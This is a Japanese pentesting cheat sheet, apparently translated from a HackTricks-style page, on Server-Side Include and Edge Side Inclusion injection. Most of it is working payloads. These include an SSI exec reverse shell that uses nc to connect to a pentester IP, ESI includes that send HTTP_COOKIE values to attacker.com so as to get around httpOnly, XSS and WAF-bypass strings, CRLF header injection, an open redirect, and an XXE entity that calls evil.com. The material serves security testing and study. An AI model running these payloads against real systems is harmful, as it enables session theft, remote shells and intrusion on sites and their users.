サーバーサイドインクルージョン基本情報
(紹介は Apacheドキュメント から)
SSI(サーバーサイドインクルージョン)は、HTMLページに配置され、ページが提供される際にサーバー上で評価されるディレクティブ です。これにより、CGIプログラムや他の動的技術を介してページ全体を提供することなく、既存のHTMLページに動的に生成されたコンテンツ を追加できます。
例えば、次のようなディレクティブを既存のHTMLページに配置することができます:
<!--#echo var="DATE_LOCAL" -->
そして、ページが提供されると、この断片は評価され、その値に置き換えられます:
Tuesday, 15-Jan-2013 19:28:54 EST
SSIを使用するタイミングと、ページ全体をプログラムによって生成するタイミングの決定は、通常、ページのどの部分が静的で、どの部分がページが提供されるたびに再計算される必要があるかの問題です。SSIは、上記のように現在の時刻などの小さな情報を追加するのに最適な方法です。しかし、ページの大部分が提供される際に生成される場合は、他の解決策を探す必要があります。
ウェブアプリケーションが拡張子が**.shtml
、.shtm
、または.stm
**のファイルを使用している場合、SSIの存在を推測できますが、それだけではありません。
典型的なSSI式は次の形式を持っています:
Copy <!--#directive param="value" -->
チェック
Copy // Document name
<!-- #echo var= "DOCUMENT_NAME" -->
// Date
<!-- #echo var= "DATE_LOCAL" -->
// File inclusion
<!-- #include virtual = "/index.html" -->
// Including files (same directory)
<!-- #include file = "file_to_include.html" -->
// CGI Program results
<!-- #include virtual = "/cgi-bin/counter.pl" -->
// Including virtual files (same directory)
<!-- #include virtual = "file_to_include.html" -->
// Modification date of a file
<!-- #flastmod file = "index.html" -->
// Command exec
<!-- #exec cmd = "dir" -->
// Command exec
<!-- #exec cmd = "ls" -->
// Reverse shell
<!-- #exec cmd = "mkfifo /tmp/foo;nc <PENTESTER IP> <PORT> 0</tmp/foo|/bin/bash 1>/tmp/foo;rm /tmp/foo" -->
// Print all variables
<!-- #printenv -->
// Setting variables
<!-- #set var= "name" value = "Rich" -->
Edge Side Inclusion
情報や動的アプリケーションをキャッシュする ことには問題があります。コンテンツの一部は次回コンテンツが取得される際に異なる 可能性があります。これがESI が使用される理由であり、ESIタグを使用して生成する必要がある動的コンテンツ を示します。
もし攻撃者 がキャッシュコンテンツ内にESIタグを注入 できれば、ユーザーに送信される前に文書に任意のコンテンツを注入 できる可能性があります。
ESI Detection
サーバーからのレスポンスにおける以下のヘッダー は、サーバーがESIを使用していることを意味します:
Copy Surrogate-Control: content="ESI/1.0"
このヘッダーが見つからない場合、サーバーはそれでもESIを使用している可能性があります 。
盲目的な悪用アプローチも使用できます 。リクエストは攻撃者のサーバーに到達する必要があります:
Copy // Basic detection
hell <!-- esi --> o
// If previous is reflected as "hello", it's vulnerable
// Blind detection
< esi : include src =http://attacker.com>
// XSS Exploitation Example
<esi:include src =http://attacker.com/XSSPAYLOAD.html>
// Cookie Stealer (bypass httpOnly flag)
<esi:include src =http://attacker.com/?cookie_stealer.php?=$(HTTP_COOKIE)>
// Introduce private local files (Not LFI per se)
<esi:include src = "supersecret.txt" >
// Valid for Akamai, sends debug information in the response
< esi : debug />
ESIの悪用
GoSecureが作成した 表は、サポートされている機能に応じて、さまざまなESI対応ソフトウェアに対して試すことができる可能性のある攻撃を理解するためのものです。
Includes : <esi:includes>
ディレクティブをサポート
Vars : <esi:vars>
ディレクティブをサポート。XSSフィルターをバイパスするのに便利
Cookie : ドキュメントクッキーはESIエンジンにアクセス可能
Upstream Headers Required : 上流アプリケーションがヘッダーを提供しない限り、サロゲートアプリケーションはESIステートメントを処理しない
Host Allowlist : この場合、ESIのインクルードは許可されたサーバーホストからのみ可能であり、例えばSSRFはこれらのホストに対してのみ可能
Upstream Headers Required
XSS
次のESIディレクティブは、サーバーのレスポンス内に任意のファイルをロードします。
Copy < esi : include src =http://attacker.com/xss.html>
クライアントXSS保護のバイパス
Copy x=< esi : assign name = "var1" value = "'cript'" />< s <esi:vars name = "$(var1)" />>alert(/Chrome%20XSS%20filter%20bypass/);</ s <esi:vars name = "$(var1)" />>
Use <!--esi--> to bypass WAFs:
< scr <!--esi-->ipt>aler <!--esi--> t(1)</ sc <!--esi-->ript>
< img +src=x+on<!--esi-->error=ale <!--esi--> rt(1)>
クッキーを盗む
Copy < esi : include src =http://attacker.com/$(HTTP_COOKIE)>
< esi : include src = "http://attacker.com/?cookie=$(HTTP_COOKIE{'JSESSIONID'})" />
XSSを使用してHTTP_ONLYクッキーを応答に反映させて盗む:
Copy # This will reflect the cookies in the response
<! --esi $( HTTP_COOKIE ) -- >
# Reflect XSS (you can put '"><svg/onload=prompt(1)>' URL encoded and the URL encode eveyrhitng to send it in the HTTP request)
<! --esi/$url_decode( '"><svg/onload=prompt(1)>' )/-- >
# It's possible to put more complex JS code to steal cookies or perform actions
プライベートローカルファイル
これを「ローカルファイルインクルージョン」と混同しないでください:
Copy <esi:include src="secret.txt">
CRLF
Copy <esi:include src="http://anything.com%0d%0aX-Forwarded-For:%20127.0.0.1%0d%0aJunkHeader:%20JunkValue/"/>
Open Redirect
以下は、レスポンスに Location
ヘッダーを追加します。
Copy <! --esi $add_header( 'Location' , 'http://attacker.com' ) -- >
ヘッダーを追加
Copy < esi : include src = "http://example.com/asdasd" >
< esi : request_header name = "User-Agent" value = "12345" />
</ esi : include >
レスポンスにヘッダーを追加する(XSSを含むレスポンスで「Content-Type: text/json」をバイパスするのに便利)
Copy <! --esi/$add_header( 'Content-Type' , 'text/html' )/-- >
<! --esi/$(HTTP_COOKIE )/$add_header( 'Content-Type' , 'text/html' )/$url_decode($url_decode( '"><svg/onload=prompt(1)>' ))/-- >
# Check the number of url_decode to know how many times you can URL encode the value
AddヘッダーのCRLF (CVE-2019-2438 )
Copy < esi : include src = "http://example.com/asdasd" >
< esi : request_header name = "User-Agent" value = "12345
Host: anotherhost.com" />
</ esi : include >
Akamaiデバッグ
これにより、レスポンスに含まれるデバッグ情報が送信されます:
ESI + XSLT = XXE
eXtensible Stylesheet Language Transformations (XSLT)
の構文をESIで使用することが可能であり、単にparam dca
の値を xslt
と指定するだけです。これにより、XSLT を悪用してXML外部エンティティ脆弱性(XXE)を作成および悪用することができるかもしれません:
Copy < esi : include src = "http://host/poc.xml" dca = "xslt" stylesheet = "http://host/poc.xsl" />
XSLTファイル:
Copy <? xml version = "1.0" encoding = "ISO-8859-1" ?>
<! DOCTYPE xxe [<! ENTITY xxe SYSTEM "http://evil.com/file" >]>
< foo >&xxe;</ foo >
Check the XSLT page:
XSLT Server Side Injection (Extensible Stylesheet Language Transformations) 参考文献
ブルートフォース検出リスト